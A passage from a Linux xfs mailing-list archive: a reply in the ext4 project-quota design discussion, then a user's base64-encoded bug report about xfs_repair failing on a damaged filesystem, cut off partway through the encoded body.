<linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Andreas Dilger <adilger.kernel@dilger.ca>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> References: <20140128064248.GA8653@gmail.com> <20140128143514.GB13676@quack.suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140128143514.GB13676@quack.suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-pb0-f46.google.com[209.85.160.46] X-Barracuda-Start-Time: 1390967028 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144590 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Jan 28, 2014 at 03:35:14PM +0100, Jan Kara wrote: > On Tue 28-01-14 14:42:49, Zheng Liu wrote: > > Hi all, > > > > Here is a draft about ext4 project quota. After discussed in another > > thread [1], I believe that we have reached a consensus for supporting > > project quota in ext4 and keep consistency with xfs. Thus I write this > > draft. As always, comments, suggestions and ideas are welcome. > > > > 1. http://www.spinics.net/lists/linux-ext4/msg41275.html > > > > Ext4 Project Quota (ver. 0.10) > > > > Goal > > ==== > > > > The goal is to make ext4 support project quota which keeps the same > > behaviour with xfs. After adding this new feature, we can support > > directory quota based on it. > > > > Background > > ========== > > > > The project quota is a quota mechanism can be used to implement a form > > of directory tree quota, where a specified directory and all of the > > files and subdirectories below it (i.e. a tree) can be restricted to > > using a subset of the available space in the filesystem [2]. > > > > *Note* > > Project quota is not directory quota. Project quota is an aggregation > > of unrelated inodes with the same id (e.g. project id). That means that > > some directories without the common parent directory could have the same > > id and are accounted as the same quota. > > > > Currently xfs has supported project quota several years, and has a mature > > interface to manage project quota on kernel and userspace side. After > > discusstion we believe that we should use the same quota API for project > > quota on ext4. Now xfs_quota (userspace tool for managing xfs quota) is > > used to get/set/check project id, which communicates with kernel via > > ioctl(2). For quota management, xfs_quota uses Q_X* via quotactl(2) to > > manipulate quota. A XFS_DIFLAG_PROJINHERIT flag is defined in xfs to > > mark a directory that new file and direcotry created in this directory > > will get marked with this flag. > > > > For project quota, the key issue is how to handle link(2)/rename(2). We > > summarize the behaviour in xfs as following. > > > > *Note* > > + unaccounted dir > > x accounted dir > > > > link(2) > > ------- > > + x > > + ok error (EXDEV) > > x ok error (EXDEV) > > > > rename(2) > > --------- > > + x > > + ok ok > > x wrong ok > So moving unaccounted file/dir into an accounted dir would be OK? How is > that? Actually xfs will return EXDEV error when we try to move unaccounted file/dir into an accounted dir. Then userspace tools (e.g. mv(1)) will use create(2)/read(2)/write(2) syscalls to create these files/dirs from scratch, and get the same id from their parent. So from the result we can see it is ok. Quote from Dave Chinner's comment: "that quota is accounted for when moving *into* an accounted directory tree, not when moving out of a directory tree." > > > Further, project quota *cannot* be used with group quota at the same time. > > On the other hand user quota and project quota can be used simultaneously. > There's no fundamental reason for this and XFS folks actually recently > worked to remove this limitation. I don't think we should carry it over to > ext4. Thanks for pointing it out. > > > 2. http://xfs.org/index.php/XFS_FAQ#Q:_Quota:_What.27s_project_quota.3F > > > > Design > > ====== > > > > Project id > > ---------- > > We have two options to store project id in inode. a) define a new member > > in ext4_inode structure; b) store project id in xattr. > > > > Option a) > > Pros: > > * Only need 4 bytes if we use a '__le32' type to store it > > > > Cons: > > * Needs to change disk layout of ext4 inode > > > > Option b) > > Pros: > > * Don't need to change disk layout > > > > Cons: > > * Take 24 bytes > Cons of the b) is also that it's somewhat messier to get / set project id > from kernel. So I'm more in favor of a). I even think we could introduce > the additional id rather seamlessly using i_extra_i_size but I have to have > a look into details. Anyway I guess we can talk about the options at LSF. I don't have a bias against both of two options. It seems that we can introduce a new id seamlessly using i_extra_isize. 1) old kernel + new disk layout We can read/write new inode because new id doesn't be changed. 2) new kernel + old disk layout We can use EXT4_FITS_IN_INODE to check whether new id can fit into an inode or not. We will check and report error when we try to enable project quota on a file system with old disk layout in ext4_fill_super(). > > > Here I propose to use option *b)* because it is easy for us to support > > project id and we don't need to worry about changing disk layout. But > > I raise another issue here. Now inline_data feature has been applied. > > After waiting inline_data feature stable, we'd better enable inline_data > > feature by default when we create a new ext4 file system. Now the inode > > size is 256 bytes by default, we have 72 bytes extra size to store > > inline data: > > 256 (default inode size) - > > 156 (ext4_inode) + 4 (ext4_xattr_ibody_header) + > > 20 (ext4_xattr_entry) + 4 (value) = 72 > > > > If we store project id in xattr, we just leave 48 bytes for inline data. > > I am not sure whether or not it is too small for some users. > > > > When we store project id in xattr, we will use {get,set}fattr to get/set > > project id. Thus we don't need to change userspace tool to manipulate > > project id. Meanwhile a _INHERENT flag for inode needs to be defined to > > indicate that new directory creating in a directory with this flag will > > get the same project id and get marked with this flag. > > > > Project quota API > > ----------------- > > For keeping consistency with xfs, here I propose to use Q_X* flag to > > communicate with kernel via quotactl(2) as we discussed. Due to this we > > need to define some callback functions to support Q_X* flag. That means > > that ext4 will support two quota flag sets for being compatible with > > legacy userspace tools and use the same quotactl API to communicate with > > kernel for project id like xfs. > We can as well extend current VFS API to cover also project quotas. That > would make things somewhat more logical from userspace POV. Your meaning is that we support Q_* flag and Q_X* flag simultaneously? Thanks, - Zheng > > > Currently quota subsystem in vfs doesn't handle project quota. Thus we > > need to make quota subsystem handle project id properly (e.g. > > dquot_transfer, dquot_initialize). We need to define a new callback > > function in order to get project id. Now in vfs we can access uid/gid > > directly from inode, but we have no way to get project id. A generic > > callback function is defined to handle uid/gid. The file system itself > > can handle project id. Until now only ext4 needs to implement this > > callback function by itself because xfs doesn't use vfs quota subsystem. > So we need to get ids from external structures only in two places. One is > dquot_initialize() and the other is dquot_transfer(). Instead of providing > callback to get project id, we could just create a variant of these functions > which will get required ids from a passed array instead of directly from > the inode. > > > For handling link(2)/rename(2) like xfs, we only allow hard link or > > rename operation when the project ids are the same. Otherwise we will > > return EXDEV error to notify the user. > > > > Quota-tools > > ----------- > > Now quota-tools (e.g. quotaon, edquota, etc...) don't support project > > quota. Thus we need to make it support project id. I believe that Li > > Xi did some works on quota-tools. > > > > E2fsprogs > > --------- > > After supporting project quota, we need to change e2fsck(1) to make sure > > that all sub-directories with _INHERENT flag have the same project id. > > Meanwhile we need to make chattr(1) set/clear _INHERENT flag. > > Honza > -- > Jan Kara <jack@suse.cz> > SUSE Labs, CR From DLeonov@beeline.ru Tue Jan 28 22:22:56 2014 Return-Path: <DLeonov@beeline.ru> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, MIME_BASE64_BLANKS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D19597F9E for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 22:22:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 23487AC004 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 20:22:51 -0800 (PST) X-ASG-Debug-ID: 1390969365-04cbb05baa1d39c0001-NocioJ Received: from mxs.beeline.ru (mxs.beeline.ru [37.9.244.1]) by cuda.sgi.com with ESMTP id OXCmNtRoeleL9fBR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 20:22:46 -0800 (PST) X-Barracuda-Envelope-From: DLeonov@beeline.ru X-Barracuda-Apparent-Source-IP: 37.9.244.1 Received: from mxs.beeline.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id E77DC807AA; Wed, 29 Jan 2014 08:22:44 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id E154D807AE; Wed, 29 Jan 2014 08:22:44 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (ms-lnmh001.bee.vimpelcom.ru [192.168.168.27]) by mxs.beeline.ru (Postfix) with ESMTP id A7DEC807AA; Wed, 29 Jan 2014 08:22:44 +0400 (MSK) Subject: =?KOI8-R?B?Pj46IFJlOiBIwTogUmU6IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDog?= =?KOI8-R?B?ZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTog?= =?KOI8-R?B?MTU5MA==?= X-KeepSent: 31F12256:ECD10F86-44257C6F:00176159; type=4; name=$KeepSent X-ASG-Orig-Subj: =?KOI8-R?B?Pj46IFJlOiBIwTogUmU6IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDog?= =?KOI8-R?B?ZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTog?= =?KOI8-R?B?MTU5MA==?= To: xfs@oss.sgi.com Cc: david@fromorbit.com X-Mailer: Lotus Notes Release 8.5.3FP2 July 03, 2012 Message-ID: <OF31F12256.ECD10F86-ON44257C6F.00176159-44257C6F.00180E76@beeline.ru> From: Dmitriy Yu Leonov <DLeonov@beeline.ru> Date: Wed, 29 Jan 2014 08:22:45 +0400 X-MIMETrack: Serialize by Router on MS-LNMH001/HUB/BeeLine(Release 8.5.3FP2 HF22|July 24, 2012) at 29.01.2014 08:22:44 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=CBBBF6FCDF84E7C98f9e8a93df938690918cCBBBF6FCDF84E7C9" Content-Disposition: inline X-KLMS-Rule-ID: 6 X-KLMS-Message-Action: clean X-KLMS-AntiSpam-Status: not checked X-KLMS-AntiSpam-Interceptor-Info: not checked X-KLMS-AntiVirus: Kaspersky Security 8.0 for Linux Mail Server 8.0.0.455, bases: 2014/01/28 23:05:00 #7413872; khse: 2013-04-03 08:48:01 X-KLMS-AntiVirus-Status: Clean, skipped X-Barracuda-Connect: mxs.beeline.ru[37.9.244.1] X-Barracuda-Start-Time: 1390969366 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_BASE64_BLANKS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144591 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding --0__=CBBBF6FCDF84E7C98f9e8a93df938690918cCBBBF6FCDF84E7C9 Content-type: text/plain; charset=KOI8-R Content-transfer-encoding: base64 DQpSZXBvc3QgbXkgbWVzc2FnZSwgYmVjYXVzZSBJIGFjY2lkZW50YWxseSBhbnN3ZXJlZCBEYXZl IGluc3RlYWQgb2YNCmFuc3dlcmluZyBhbGwuIFNvcnJ5Lg0KSSdtIHJlZ2lzdGVyZWQgcHJvYmxl bSBhbHNvIGluIFhGUyBidWd6aWxsYToNCmh0dHA6Ly9vc3Muc2dpLmNvbS9idWd6aWxsYS9zaG93 X2J1Zy5jZ2k/aWQ9MTA0NQ0KDQpHb29kIGV2ZW5pbmcsIERhdmUuDQoNCkk/bSBpbnN0YWxsZWQg eGZzcHJvZ3MgdmVyc2lvbiAzLjEuMTEgYW5kIHRyeSB0byByZXBhaXIgZmlsZXN5c3RlbSBvbiB0 aGUNCnJhaWQgZGlzay4gQnV0IGNvbW1hbmQgeGZzX3JlcGFpciAtUCAvZGV2L3NkYjEgaGFuZ2Vk Lg0KVGhlbiBJIGRlY2lkZWQgdG8gcmVib290IHdpdGggb2xkIGtlcm5lbCB2ZXJzaW9uIDMuNy4x MCAoSSBoYXZlIHNldmVyYWwNCnZlcnNpb25zIG9mIGtlcm5lbCkuIEFmdGVyIHJlYm9vdCB0aGUg c3lzdGVtLCBJIHJhbiB0aGUgY29tbWFuZCBhZ2Fpbi4NCkNvbW1hbmQgZXhlY3V0ZWQgc3VjY2Vz c2Z1bGx5IGluIHRoZSBvbGQga2VybmVsIDMuNy4xMC4gT3V0cHV0IG9mIHRoZQ0KY29tbWFuZHMg YXR0YWNoZWQgdG8gdGhlIGxldHRlciBhZnRlciB0aGUgdGV4dC4NCkZyb20gdGhlIGRlc2NyaXB0 aW9uIG9mIHRoZSBjb21tYW5kcyBvdXRwdXQgY2xlYXIgdGhhdCB0aGVyZSBpcyBhIGxvc3Mgb2YN CmxvZyBmaWxlIGRhdGEuIE5vdyBJIG5lZWQgdG8gcmVzdG9yZSB0aGUgZmlsZSBzeXN0ZW0gd2l0 aCBhIG1pbmltdW0gb2YgZGF0YQ0KbG9zcy4gSXMgaXQgcG9zc2libGU/IFdoYXQgY29tbWFuZCBz ZXQgY29ycmVjdGx5IGZvciB0aGF0IHVzZT8NCg0KUFM6IG91dHB1dCBvZiBwcm9ncmFtcyBhbmQg c3lzdGVtIGluZm8gaW4gdGhlIGJvdHRvbSBvZiBzaWduYXR1cmUuDQoNCg0KDQo/DQogIFNpbmNl cmVseSwgRG1pdHJ5Lg0KDQoNCnVuYW1lIC1hDQpMaW51eCBkZXZhc3RhdG9yIDMuNy4xMC1nZW50 b28gIzIgU01QIFdlZCBNYXIgMjcgMTM6Mjg6MDAgTVNLIDIwMTMgeDg2XzY0DQpJbnRlbChSKSBY ZW9uKFRNKSBDUFUgMy4wMEdIeiBHZW51aW5lSW50ZWwgR05VL0xpbnV4DQoNCg0KeGZzX3JlcGFp ciAtUCAvZGV2L3NkYjENClBoYXNlIDEgLSBmaW5kIGFuZCB2ZXJpZnkgc3VwZXJibG9jay4uLg0K UGhhc2UgMiAtIHVzaW5nIGludGVybmFsIGxvZw0KICAgICAgIC0gemVybyBsb2cuLi4NCkVSUk9S OiBUaGUgZmlsZXN5c3RlbSBoYXMgdmFsdWFibGUgbWV0YWRhdGEgY2hhbmdlcyBpbiBhIGxvZyB3 aGljaCBuZWVkcyB0bw0KYmUgcmVwbGF5ZWQuICBNb3VudCB0aGUgZmlsZXN5c3RlbSB0byByZXBs YXkgdGhlIGxvZywgYW5kIHVubW91bnQgaXQgYmVmb3JlDQpyZS1ydW5uaW5nIHhmc19yZXBhaXIu ICBJZiB5b3UgYXJlIHVuYWJsZSB0byBtb3VudCB0aGUgZmlsZXN5c3RlbSwgdGhlbiB1c2UNCnRo ZSAtTCBvcHRpb24gdG8gZGVzdHJveSB0aGUgbG9nIGFuZCBhdHRlbXB0IGEgcmVwYWlyLg0KTm90 ZSB0aGF0IGRlc3Ryb3lpbmcgdGhlIGxvZyBtYXkgY2F1c2UgY29ycnVwdGlvbiAtLSBwbGVhc2Ug YXR0ZW1wdCBhIG1vdW50DQpvZiB0aGUgZmlsZXN5c3RlbSBiZWZvcmUgZG9pbmcgdGhpcy4NCg0K DQp4ZnNfcmVwYWlyIC1uIC9kZXYvc2RiMQ0KUGhhc2UgMSAtIGZpbmQgYW5kIHZlcmlmeSBzdXBl cmJsb2NrLi4uDQpQaGFzZSAyIC0gdXNpbmcgaW50ZXJuYWwgbG9nDQogICAgICAgLSBzY2FuIGZp bGVzeXN0ZW0gZnJlZXNwYWNlIGFuZCBpbm9kZSBtYXBzLi4uDQpibG9jayAoMywxNDk4OTMzLTE0 OTg5MzMpIG11bHRpcGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMg0KYWdm X2ZyZWVibGtzIDI1OTk0MDc2MSwgY291bnRlZCAyNTk5NDA3NzYgaW4gYWcgMw0KYWdmX2ZyZWVi bGtzIDI1NTAxMjM2MiwgY291bnRlZCAyNTUwMTIzNjUgaW4gYWcgNA0KYWdmX2ZyZWVibGtzIDI2 MDYyNzI1NSwgY291bnRlZCAyNjA2MjczNzIgaW4gYWcgNQ0KYWdmX2ZyZWVibGtzIDI1NTE2ODY0 NCwgY291bnRlZCAyNTUxNjg2MjYgaW4gYWcgMg0KYWdmX2ZyZWVibGtzIDIwNzA0NDk4MywgY291 bnRlZCAyMDcwNDQ5ODQgaW4gYWcgNg0KYWdmX2ZyZWVibGtzIDI0MzY0NjE1MCwgY291bnRlZCAy NDM2NDYxMDAgaW4gYWcgMQ0KYmxvY2sgKDAsOTI4ODc3NS05Mjg4Nzc1KSBtdWx0aXBseSBjbGFp bWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDINCmJsb2NrICgwLDkyOTI4ODAtOTI5Mjg4 MCkgbXVsdGlwbHkgY2xhaW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyDQpibG9jayAo MCw5MzExNzQ2LTkzMTE3NDYpIG11bHRpcGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0 YXRlIC0gMg0KYmxvY2sgKDAsOTMxMzc3NC05MzEzNzc0KSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNu dCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDINCmJsb2NrICgwLDQwMTA1NTItNDAxMDU1MikgbXVsdGlw bHkgY2xhaW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyDQpibG9jayAoMCw3Mjk0MDEw LTcyOTQwMTApIG11bHRpcGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMg0K YmxvY2sgKDAsNjkwNzExNC02OTA3MTE0KSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0 cmVlLCBzdGF0ZSAtIDINCmJsb2NrICgwLDQwNTgzNjAtNDA1ODM2MCkgbXVsdGlwbHkgY2xhaW1l ZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyDQpibG9jayAoMCwzODkxNzg0LTM4OTE3ODQp IG11bHRpcGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMg0KYmxvY2sgKDAs OTMyMjgyNC05MzIyODI0KSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0 ZSAtIDINCmFnZl9mcmVlYmxrcyAyMjgyNDI3NTcsIGNvdW50ZWQgMjI4MjQyOTEzIGluIGFnIDAN CnNiX2ZkYmxvY2tzIDE3MDk2ODQ5MzMsIGNvdW50ZWQgMTcwOTY4NTE1Nw0KICAgICAgIC0gZm91 bmQgcm9vdCBpbm9kZSBjaHVuaw0KUGhhc2UgMyAtIGZvciBlYWNoIEFHLi4uDQogICAgICAgLSBz Y2FuIChidXQgZG9uJ3QgY2xlYXIpIGFnaSB1bmxpbmtlZCBsaXN0cy4uLg0KICAgICAgIC0gcHJv Y2VzcyBrbm93biBpbm9kZXMgYW5kIHBlcmZvcm0gaW5vZGUgZGlzY292ZXJ5Li4uDQogICAgICAg LSBhZ25vID0gMA0KZGF0YSBmb3JrIGluIGlubyAxNjc2Mjk2NiBjbGFpbXMgZnJlZSBibG9jayAx NjY1NDQyNA0KYmFkIG5ibG9ja3MgMjU2IGZvciBpbm9kZSAxNjc2NDY2OCwgd291bGQgcmVzZXQg dG8gMjU1DQpkYXRhIGZvcmsgaW4gaW5vIDE2NzY3ODgyIGNsYWltcyBmcmVlIGJsb2NrIDkzMTc4 MzYNCmRhdGEgZm9yayBpbiBpbm8gMTY3Njc4ODIgY2xhaW1zIGZyZWUgYmxvY2sgOTMxNzgzNw0K YmFkIG5ibG9ja3MgNTMwIGZvciBpbm9kZSAxNjc2Nzg4Miwgd291bGQgcmVzZXQgdG8gNTQ1DQpk YXRhIGZvcmsgaW4gaW5vIDE2NzcwOTM0IGNsYWltcyBmcmVlIGJsb2NrIDkzMDk1OTQNCmRhdGEg Zm9yayBpbiBpbm8gMTY3NzA5MzQgY2xhaW1zIGZyZWUgYmxvY2sgOTMwOTU5NQ0KYmFkIG5ibG9j a3MgMjM5NiBmb3IgaW5vZGUgMTY3NzI1OTYsIHdvdWxkIHJlc2V0IHRvIDIzOTUNCmRhdGEgZm9y ayBpbiBpbm8gMTY3NzU2MTkgY2xhaW1zIGZyZWUgYmxvY2sgOTMxOTc4NQ0KZGF0YSBmb3JrIGlu IGlubyAxNjc3NTYxOSBjbGFpbXMgZnJlZSBibG9jayA5MzE5Nzg2DQpiYWQgbmJsb2NrcyA2Mjg0 IGZvciBpbm9kZSAxNjc3NTYxOSwgd291bGQgcmVzZXQgdG8gNjI5MQ0KYmFkIG5ibG9ja3MgMTAz IGZvciBpbm9kZSAxNjc4MDQ5OCwgd291bGQgcmVzZXQgdG8gMTAyDQpiYWQgbmV4dGVudHMgMjcg Zm9yIGlub2RlIDE2NzgwNDk4LCB3b3VsZCByZXNldCB0byAyNg0KZGF0YSBmb3JrIGluIGlubyAx Njc4MTk1OSBjbGFpbXMgZnJlZSBibG9jayA3Mjk1MjE0DQpkYXRhIGZvcmsgaW4gaW5vIDE2Nzgx OTU5IGNsYWltcyBmcmVlIGJsb2NrIDcyOTUyMTUNCmJhZCBuYmxvY2tzIDc2IGZvciBpbm9kZSAx Njc4MTk1OSwgd291bGQgcmVzZXQgdG8gODENCmJhZCBrZXkgaW4gYm1idCByb290IChpcyAxODU2 LCB3b3VsZCByZXNldCB0byAxODQ0KSBpbiBpbm9kZSAxNjc4MjA3MCBkYXRhDQpmb3JrDQpiYWQg bmJsb2NrcyAzMDYwIGZvciBpbm9kZSAxNjc4MjA3MCwgd291bGQgcmVzZXQgdG8gMzA1OQ0KYmFk IG5leHRlbnRzIDY0MiBmb3IgaW5vZGUgMTY3ODIwNzAsIHdvdWxkIHJlc2V0IHRvIDY0MQ0KZGF0 YSBmb3JrIGluIGlubyAxNjc4MzQwMyBjbGFpbXMgZnJlZSBibG9jayAxMzQ1Nzc5NTc5DQpkYXRh IGZvcmsgaW4gaW5vIDE2NzgzNDAzIGNsYWltcyBmcmVlIGJsb2NrIDEzNDU3Nzk1ODANCmJhZCBu YmxvY2tzIDMwMjkgZm9yIGlub2RlIDE2NzgzNDAzLCB3b3VsZCByZXNldCB0byAzMDQzDQpiYWQg bmJsb2NrcyA5MjcgZm9yIGlub2RlIDE2NzgzNDkzLCB3b3VsZCByZXNldCB0byA5MjYNCmJhZCBu YmxvY2tzIDk3NyBmb3IgaW5vZGUgMTY3ODM1NTMsIHdvdWxkIHJlc2V0IHRvIDk3MQ0KZGF0YSBm b3JrIGluIGlubyAxNjc4NjM5NiBjbGFpbXMgZnJlZSBibG9jayA4NDMwNTcyDQpiYWQgbmJsb2Nr cyA2MCBmb3IgaW5vZGUgMTY3ODYzOTYsIHdvdWxkIHJlc2V0IHRvIDY1DQpkYXRhIGZvcmsgaW4g aW5vIDE2Nzg2NDE2IGNsYWltcyBmcmVlIGJsb2NrIDkyODg3NzQNCmRhdGEgZm9yayBpbiBpbm8g MTY3ODY0MTYgY2xhaW1zIGZyZWUgYmxvY2sgOTI4ODc3NQ0KYmFkIG5ibG9ja3MgNzE5IGZvciBp bm9kZSAxNjc4NjQxNiwgd291bGQgcmVzZXQgdG8gNzIxDQpkYXRhIGZvcmsgaW4gaW5vIDE2Nzg2 ODAzIGNsYWltcyBmcmVlIGJsb2NrIDkzMDcwOTANCmRhdGEgZm9yayBpbiBpbm8gMTY3ODY4MDMg Y2xhaW1zIGZyZWUgYmxvY2sgOTMwNzA5MQ0KYmFkIG5ibG9ja3MgNTYgZm9yIGlub2RlIDE2Nzg2 ODAzLCB3b3VsZCByZXNldCB0byA2NQ0KYmFkIG5ibG9ja3MgNTM2IGZvciBpbm9kZSAxNjc4NzAx MCwgd291bGQgcmVzZXQgdG8gNTM1DQpkYXRhIGZvcmsgaW4gaW5vIDE2NzkyMDI2IGNsYWltcyBm cmVlIGJsb2NrIDkzMTI3NTgNCmRhdGEgZm9yayBpbiBpbm8gMTY3OTIwMjYgY2xhaW1zIGZyZWUg YmxvY2sgOTMxMjc1OQ0KYmFkIG5ibG9ja3MgMzAxIGZvciBpbm9kZSAxNjc5MjAyNiwgd291bGQg cmVzZXQgdG8gMzA1DQpiYWQgbmJsb2NrcyAzMDU5IGZvciBpbm9kZSAxNjc5MjA1Nywgd291bGQg cmVzZXQgdG8gMzA0NQ0KYmFkIG5leHRlbnRzIDU4MCBmb3IgaW5vZGUgMTY3OTIwNTcsIHdvdWxk IHJlc2V0IHRvIDU3OQ0KZGF0YSBmb3JrIGluIGlubyAxNjc5MjgyNyBjbGFpbXMgZnJlZSBibG9j ayA5MzE3OTg3DQpkYXRhIGZvcmsgaW4gaW5vIDE2NzkyODI3IGNsYWltcyBmcmVlIGJsb2NrIDkz MTc5ODgNCmJhZCBuYmxvY2tzIDg4IGZvciBpbm9kZSAxNjc5MjgyNywgd291bGQgcmVzZXQgdG8g OTcNCmRhdGEgZm9yayBpbiBpbm8gMTY3OTczMDkgY2xhaW1zIGZyZWUgYmxvY2sgOTMxNjYzOQ0K ZGF0YSBmb3JrIGluIGlubyAxNjc5NzMwOSBjbGFpbXMgZnJlZSBibG9jayA5MzE2NjQwDQpiYWQg bmJsb2NrcyAxMTE1IGZvciBpbm9kZSAxNjc5NzMwOSwgd291bGQgcmVzZXQgdG8gMTEyMQ0KZGF0 YSBmb3JrIGluIGlubyAxNjc5NzM2OSBjbGFpbXMgZnJlZSBibG9jayA1MTg3Nzg1DQpkYXRhIGZv cmsgaW4gaW5vIDE2Nzk3MzY5IGNsYWltcyBmcmVlIGJsb2NrIDUxODc3ODYNCmRhdGEgZm9yayBp biBpbm8gMTY4MDEzNjMgY2xhaW1zIGZyZWUgYmxvY2sgNTE5NTQxMw0KZGF0YSBmb3JrIGluIGlu byAxNjgwMTM2MyBjbGFpbXMgZnJlZSBibG9jayA1MTk1NDE0DQpkYXRhIGZvcmsgaW4gaW5vIDE2 ODA1MTQ5IGNsYWltcyBmcmVlIGJsb2NrIDE2ODU3ODU2DQpiYWQgbmJsb2NrcyAzMDcyIGZvciBp bm9kZSAxNjgwNTIzNSwgd291bGQgcmVzZXQgdG8gMzA3MQ0KZGF0YSBmb3JrIGluIGlubyAxNjgw NjI0MiBjbGFpbXMgZnJlZSBibG9jayA5MzE4NzcxDQpkYXRhIGZvcmsgaW4gaW5vIDE2ODA2MjQy IGNsYWltcyBmcmVlIGJsb2NrIDkzMTg3NzINCmJhZCBuYmxvY2tzIDMwNDggZm9yIGlub2RlIDE2 ODA2MjQyLCB3b3VsZCByZXNldCB0byAzMDU4DQpiYWQgbmJsb2NrcyAxMzU1IGZvciBpbm9kZSAx NjgwOTg0MCwgd291bGQgcmVzZXQgdG8gMTM1NA0KYmFkIG5ibG9ja3MgMjQ2NyBmb3IgaW5vZGUg MTY4MTI2OTcsIHdvdWxkIHJlc2V0IHRvIDI0NjYNCmRhdGEgZm9yayBpbiBpbm8gMTY4MTgyNTkg Y2xhaW1zIGZyZWUgYmxvY2sgOTMwNTc5Nw0KZGF0YSBmb3JrIGluIGlubyAxNjgxODI1OSBjbGFp bXMgZnJlZSBibG9jayA5MzA1Nzk4DQpkYXRhIGZvcmsgaW4gaW5vIDE2ODI0MjY5IGNsYWltcyBm cmVlIGJsb2NrIDkzMTkyNzgNCmJhZCBuYmxvY2tzIDc2NyBmb3IgaW5vZGUgMTY4MjQyNjksIHdv dWxkIHJlc2V0IHRvIDc2OQ0KYmFkIG5ibG9ja3MgMjc1IGZvciBpbm9kZSAxNjgyNjEyMCwgd291 bGQgcmVzZXQgdG8gMjc0DQpiYWQgbmV4dGVudHMgOTUgZm9yIGlub2RlIDE2ODI2MTIwLCB3b3Vs ZCByZXNldCB0byA5NA0KZGF0YSBmb3JrIGluIGlubyAxNjgyNjIxMyBjbGFpbXMgZnJlZSBibG9j ayAyNzI2MDgyNDYNCmRhdGEgZm9yayBpbiBpbm8gMTY4Mjg0NzAgY2xhaW1zIGZyZWUgYmxvY2sg OTMxNjc2Nw0KZGF0YSBmb3JrIGluIGlubyAxNjgyODQ3MCBjbGFpbXMgZnJlZSBibG9jayA5MzE2 NzY4DQpiYWQgbmJsb2NrcyAzMDY5IGZvciBpbm9kZSAxNjgyODQ3MCwgd291bGQgcmVzZXQgdG8g MzA3NQ0KYmFkIG5ibG9ja3MgMTkzIGZvciBpbm9kZSAxNjgyODc2Nywgd291bGQgcmVzZXQgdG8g MTg0DQpkYXRhIGZvcmsgaW4gaW5vIDE2ODI5MTkyIGNsYWltcyBmcmVlIGJsb2NrIDUzOTI5MjM2 NQ0KYmFkIG5ibG9ja3MgODE4IGZvciBpbm9kZSAxNjgyOTE5Miwgd291bGQgcmVzZXQgdG8gODMz DQpkYXRhIGZvcmsgaW4gaW5vIDE2ODI5NjgxIGNsYWltcyBmcmVlIGJsb2NrIDU2NzU2MzMNCmRh 